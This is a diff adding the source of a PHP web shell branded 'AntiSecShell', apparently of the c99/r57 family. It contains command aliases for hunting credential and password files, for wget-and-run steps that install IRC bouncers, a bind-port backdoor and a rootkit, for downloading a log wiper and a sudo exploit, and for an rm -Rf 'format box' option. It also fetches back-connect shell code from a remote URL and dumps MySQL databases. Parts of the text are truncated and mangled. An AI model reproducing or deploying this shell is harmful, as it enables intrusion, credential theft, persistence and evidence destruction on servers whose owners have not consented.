+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf","conf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "),
+ array("\.tgz$",1,""," "),
+ array("\.gz$",1,""," "),
+ array("\.tar$",1,""," "),
+ array("\.bz2$",1,""," "),
+ array("\.zip$",1,""," "),
+ array("\.rar$",1,""," "),
+ array("\.php$",1,""," "),
+ array("\.php3$",1,""," "),
+ array("\.php4$",1,""," "),
+ array("\.jpg$",1,""," "),
+ array("\.jpeg$",1,""," "),
+ array("\.JPG$",1,""," "),
+ array("\.JPEG$",1,""," "),
+ array("\.ico$",1,""," "),
+ array("\.gif$",1,""," "),
+ array("\.png$",1,""," "),
+ array("\.htm$",1,""," "),
+ array("\.html$",1,""," "),
+ array("\.txt$",1,""," ")
+);
+if (!$win) {
+ $cmdaliases = array(
+ array("", "ls -al"),
+ array("f1nd 4ll suid files", "f1nd / -type f -perm -04000 -ls"),
+ array("f1nd suid files in current dir", "f1nd . -type f -perm -04000 -ls"),
+ array("f1nd 4ll sgid files", "f1nd / -type f -perm -02000 -ls"),
+ array("f1nd sgid files in current dir", "f1nd . -type f -perm -02000 -ls"),
+ array("f1nd config.inc.php files", "f1nd / -type f -name config.inc.php"),
+ array("f1nd config* files", "f1nd / -type f -name \"config*\""),
+ array("f1nd config* files in current dir", "f1nd . -type f -name \"config*\""),
+ array("f1nd 4ll writable folders and files", "f1nd / -perm -2 -ls"),
+ array("f1nd 4ll writable folders and files in current dir", "f1nd . -perm -2 -ls"),
+ array("f1nd 4ll writable folders", "f1nd / -type d -perm -2 -ls"),
+ array("f1nd 4ll writable folders in current dir", "f1nd . -type d -perm -2 -ls"),
+ array("f1nd 4ll service.pwd files", "f1nd / -type f -name service.pwd"),
+ array("f1nd service.pwd files in current dir", "f1nd . -type f -name service.pwd"),
+ array("f1nd 4ll .htpasswd files", "f1nd / -type f -name .htpasswd"),
+ array("f1nd .htpasswd files in current dir", "f1nd . -type f -name .htpasswd"),
+ array("f1nd 4ll .bash_history files", "f1nd / -type f -name .bash_history"),
+ array("f1nd .bash_history files in current dir", "f1nd . -type f -name .bash_history"),
+ array("f1nd 4ll .fetchmailrc files", "f1nd / -type f -name .fetchmailrc"),
+ array("f1nd .fetchmailrc files in current dir", "f1nd . -type f -name .fetchmailrc"),
+ array("List file attributes on a Linux second extended file system", "lsattr -va"),
+ array("Show opened ports", "netstat -an | grep -i listen")
+ );
+ $cmdaliases2 = array(
+ array("wget & extract psyBNC","wget ".$s_mu."fx.tar.gz;tar -zxf fx.tar.gz"),
+ array("wget & extract EggDrop","wget ".$s_mu."fxb.tar.gz;tar -zxf fxb.tar.gz"),
+ array("-----",""),
+ array("Logged in users","w"),
+ array("Last to connect","lastlog"),
+ array("f1nd Suid bins","f1nd /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
+ array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
+ array("Can write in /etc/?","f1nd /etc/ -type f -perm -o+w 2> /dev/null"),
+ array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
+ array("CPU Info","cat /proc/version /proc/cpuinfo"),
+ array("Is gcc installed ?","locate gcc"),
+ array("Format box (DANGEROUS)","rm -Rf"),
+ array("-----",""),
+ array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
+ array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
+ array("Run WIPELOGS PT3","./zap2"),
+ array("-----",""),
+ array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
+ array("wget & run BindDoor","wget ".$s_mu."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),
+ array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
+ );
+}
+else {
+ $cmdaliases = array(
+ array("", "dir"),
+ array("f1nd index.php in current dir", "dir /s /w /b index.php"),
+ array("f1nd *config*.php in current dir", "dir /s /w /b *config*.php"),
+ array("f1nd ass5hell in current dir", "f1nd /c \"ass\" *"),
+ array("f1nd r57shell in current dir", "f1nd /c \"r57\" *"),
+ array("Show active connections", "netstat -an"),
+ array("Show running services", "net start"),
+ array("User accounts", "net user"),
+ array("Show computers", "net view"),
+ );
+}
+$pohpfsaliases = array(
+ array("Read File", "read"),
+ array("Write File (PHP5)", "write"),
+ array("Copy", "copy"),
+ array("Rename/Move", "rename"),
+ array("Delete", "delete"),
+ array("Make Dir","mkdir"),
+ array("-----", ""),
+ array("Download", "download"),
+ array("Download (Binary Safe)", "downloadbin"),
+ array("Change Perm (0755)", "chmod"),
+ array("f1nd Writable Dir", "fwritabledir"),
+ array("f1nd Pathname Pattern", "glob"),
+);
+
+$quicklaunch1an = array(
+ array("$sh_name : Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
+}
+if (!empty($login)) {
+ if (empty($md5_pass)) {$md5_pass = md5($poass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
+ header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($antisec != "img") {
+ $lastdirass = realpath(".");
+ chdir($curdir);
+ if ($selfwrite or $updatenow) {
+ @ob_clean();
+ ass5h_getupdate($selfwrite,1);
+ exit;
+ }
+ $sess_data = unserialize($_COOKIE["$sess_cookie"]);
+ if (!is_array($sess_data)) {$sess_data = array();}
+ if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+ if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+ if (!function_exists("assgetsource")) {
+ function assgetsource($fn) {
+ global $ass5h_sourcesurl;
+ $array = array(
+ "ass5h_bindport.pl" => "ass5h_bindport_pl.txt",
+ "ass5h_bindport.c" => "ass5h_bindport_c.txt",
+ "ass5h_backconn.pl" => "ass5h_backconn_pl.txt",
+ "ass5h_backconn.c" => "ass5h_backconn_c.txt",
+ "ass5h_datapipe.pl" => "ass5h_datapipe_pl.txt",
+ "ass5h_datapipe.c" => "ass5h_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($ass5h_sourcesurl.$name);}
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("ass_buff_prepare")) {
+ function ass_buff_prepare() {
+ global $sess_data;
+ global $antisec;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($antisec != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+ }
+ }
+ ass_buff_prepare();
+ if (!function_exists("ass_sess_put")) {
+ function ass_sess_put($data) {
+ global $sess_cookie;
+ global $sess_data;
+ ass_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+ }
+ }
+ foreach (array("sort","sql_sort") as $v) {
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+ }
+ if ($sort_save) {
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+ }
+ if (!function_exists("str2mini")) {
+ function str2mini($content,$len) {
+ if (strlen($content) > $len) {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ } else {return $content;}
+ }
+ }
+ if (!function_exists("view_size")) {
+ function view_size($size) {
+ if (!is_numeric($size)) { return FALSE; }
+ else {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+ }
+ }
+ if (!function_exists("ass_copy_dir")) {
+ function ass_copy_dir($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); ass_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+ }
+ }
+ if (!function_exists("ass_copy_obj")) {
+ function ass_copy_obj($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d)) {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return ass_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) { return copy($d,$t); }
+ else { return FALSE; }
+ }
+ }
+ if (!function_exists("ass_move_dir")) {
+ function ass_move_dir($d,$t) {
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and ass_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+ }
+ }
+ if (!function_exists("ass_move_obj")) {
+ function ass_move_obj($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d)) {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return ass_move_dir($d,$t);
+ }
+ elseif (is_file($d)) {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("ass_rmdir")) {
+ function ass_rmdir($d) {
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {ass_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+ }
+ }
+ if (!function_exists("ass_rmobj")) {
+ function ass_rmobj($o) {
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o)) {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return ass_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("tabsort")) {
+ function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
+ }
+ if (!function_exists("v13w_p3rm5")) {
+ function v13w_p3rm5($mode) {
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+ return $type.join("",$owner).join("",$group).join("",$world);
+ }
+ }
+ if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+ if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+ if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+ if (!function_exists("parse_perms")) {
+ function parse_perms($mode) {
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+ }
+ }
+ if (!function_exists("parsesort")) {
+ function parsesort($sort) {
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+ }
+ }
+ if (!function_exists("v13w_p3rm5_color")) {
+ function v13w_p3rm5_color($o) {
+ if (!is_readable($o)) {return "".v13w_p3rm5(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".v13w_p3rm5(fileperms($o))." ";}
+ else {return "".v13w_p3rm5(fileperms($o))." ";}
+ }
+ }
+ if (!function_exists("mysql_dump")) {
+ function mysql_dump($set) {
+ global $sh_ver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $porint = $set["print"];
+ $annl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($porint)) {$porint = 0;}
+ if (empty($annl2br)) {$annl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file)) {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0) {
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "
+ # Dump3d by ".$sh_name."
+ # AntiSecShell - ASS
+ # H057 53771ng5:
+ # MySQL v3rs10n: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+ # D473: ".date("d.m.Y H:i:s")."
+ # DB: \"".$db."\"
+ #------------------ASS---------------ASS------------------------";
+ $c = count($onlytabs);
+ foreach($tabs as $tab) {
+ if ((in_array($tab,$onlytabs)) or (!$c)) {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#------------------ASS---------------ASS----------------------ASS------------ASS---------\n\n";
+ if ($file) {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($porint) {if ($annl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+ }
+ }
+ if (!function_exists("mysql_buildwhere")) {
+ function mysql_buildwhere($array,$sep=" and",$functs=array()) {
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v) {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+ }
+ }
+ if (!function_exists("mysql_fetch_all")) {
+ function mysql_fetch_all($query,$sock) {
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+ }
+ }
+ if (!function_exists("mysql_smarterror")) {
+ function mysql_smarterror($type,$sock) {
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+ }
+ }
+ if (!function_exists("mysql_query_form")) {
+ function mysql_query_form() {
+ global $submit,$sql_antisec,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: Fields: ".$name."
";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+ }
+ }
+ if (!function_exists("mysql_create_db")) {
+ function mysql_create_db($db,$sock="") {
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+ }
+ }
+ if (!function_exists("mysql_query_parse")) {
+ function mysql_query_parse($query) {
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op])) {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2) {
+ foreach($arr as $k=>$v) {
+ if (strtoupper($v) == "LIMIT") {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("assfsearch")) {
+ function assfsearch($d) {
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE) {
+ if($f != "." && $f != "..") {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f)) {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {assfsearch($d.$f);}
+ }
+ else {
+ $search_i_f++;
+ if ($bool) {
+ if (!empty($a["text"])) {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+ }
+ }
+ if ($antisec == "gofile") {
+ if (is_dir($f)) { $antisec = "ls"; $d = $f; }
+ else { $antisec = "f"; $d = dirname($f); $f = basename($f); }
+ }
+ @ob_start();
+ @ob_implicit_flush(0);
+ function onphpshutdown() {
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+ }
+ function ass5h3x17() {
+ onphpshutdown();
+ exit;
+ }
+ header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+ header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+ header("Cache-Control: no-store, no-cache, must-revalidate");
+ header("Cache-Control: post-check=0, pre-check=0", FALSE);
+ header("Pragma: no-cache");
+ if (empty($tmpdir)) {
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+ }
+ $tmpdir = realpath($tmpdir);
+ $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+ if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+ if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+ else {$tmpdir_logs = realpath($tmpdir_logs);}
+ function showstat($stat) {
+ if ($stat=="on") { return "ON OFF ".$disablefunc." NONE 54F3 M0D3 15 0N (53cur3) 54F3 M0D3 15 0FF (N07 53cur3) ".$v." ";
+ }
+ else {
+ $openbasedir = FALSE;
+ $hopenbasedir = "OFF (n07 53cur3) ";
+ }
+ $sort = htmlspecialchars($sort);
+ if (empty($sort)) {$sort = $sort_default;}
+ $sort[1] = strtolower($sort[1]);
+ $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+ if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+ $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ".
+ "50f7w4r3 : ".$DISP_SERVER_SOFTWARE ." - php.ini
53rv3r 1P : ".gethostbyname($_SERVER["HTTP_HOST"])." - ".
+ "Y0ur 1P - h1d3 17 v14 t0r n37w0rk : ".$_SERVER["REMOTE_ADDR"]."
";
+echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
+ " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."
";
+if (count($quicklaunch2an) > 0) {
+ foreach($quicklaunch2an as $item) {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {
+ $a = explode(DIRECTORY_SEPARATOR,$d);
+ unset($a[count($a)-2]);
+ $v = join(DIRECTORY_SEPARATOR,$a);
+ }
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." \n";
+ }
+}
+echo " ";
+if (count($quicklaunch1an) > 0) {
+ foreach($quicklaunch1an as $item) {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {
+ $a = explode(DIRECTORY_SEPARATOR,$d);
+ unset($a[count($a)-2]);
+ $v = join(DIRECTORY_SEPARATOR,$a);
+ }
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." \n";
+ }
+}
+echo " ";
+echo "";
+$pod = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
+$i = 0;
+foreach($pod as $b) {
+ $t = ""; $j = 0;
+
+ foreach ($e as $r) {
+ $t.= $r.DIRECTORY_SEPARATOR;
+ if ($j == $i) { break; }
+ $j++;
+ }
+ echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR." [OK] ";
+ echo "".v13w_p3rm5(fileperms($d))." [Read-Only] ";
+ echo "".v13w_p3rm5_color($d)." ";
+}
+?>
+
+
+
+
+
+ \n";
+if ($antisec == "") { $antisec = $dsantisec = "ls"; }
+if ($antisec == "phpini" ) { get_phpini(); }
+if ($antisec == "sql") {
+ $sql_surl = $surl."antisec=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ echo "Attention! SQL-Manager is NOT a ready module! Don't reports bugs. ".
+ "".
+ "";
+ if (!$sql_sock) {
+ echo "If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) ";
+ echo "Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]---+ ".htmlspecialchars($row[0])." "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else {
+ ?>Home ";
+ $diplay = TRUE;
+ if ($sql_db) {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").".$item[0]." ] ";}}
+ echo " Error: Create new table:
+ Dump DB:
+
+ ";}
+ if ($sql_antisec == "newtbl") {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
+ echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay) {
+ if (!empty($sql_tbl)) {
+ if (empty($sql_tbl_antisec)) {$sql_tbl_antisec = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $poerpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $poerpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($poerpage)) {$poerpage = 10;}
+ $numpages = $count_row[0]/$poerpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2) {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
